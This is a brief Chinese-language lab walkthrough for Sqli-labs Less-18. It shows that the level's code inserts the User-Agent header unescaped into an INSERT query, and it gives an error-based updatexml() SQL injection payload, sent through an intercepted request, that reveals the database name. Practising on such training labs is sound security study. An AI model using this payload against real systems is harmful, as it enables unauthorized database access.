Sqli-labs Less-18 User-Agent注入 updatexml()报错注入

本关我们这里从源代码直接了解到

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);	

对uname和passwd进行了check_input()函数的处理,所以我们在输入uname和passwd上进行注入是不行的,但是在代码中,我们看到了insert()

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?

Ip地址我们这里修改不是很方便,但是useragent修改较为方便,我们从useragent入手

我们利用fiddler进行抓包改包

 从上图可以看到,修改user-agent后的在前台显示user-agent已经为修改后的了。

那我们将user-agent修改为注入语句呢?

将user-agent修改为' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

可以看到我们已经得到了数据库库名。

其余的与上述payload类似。

原文地址:https://www.cnblogs.com/zhengna/p/12625302.html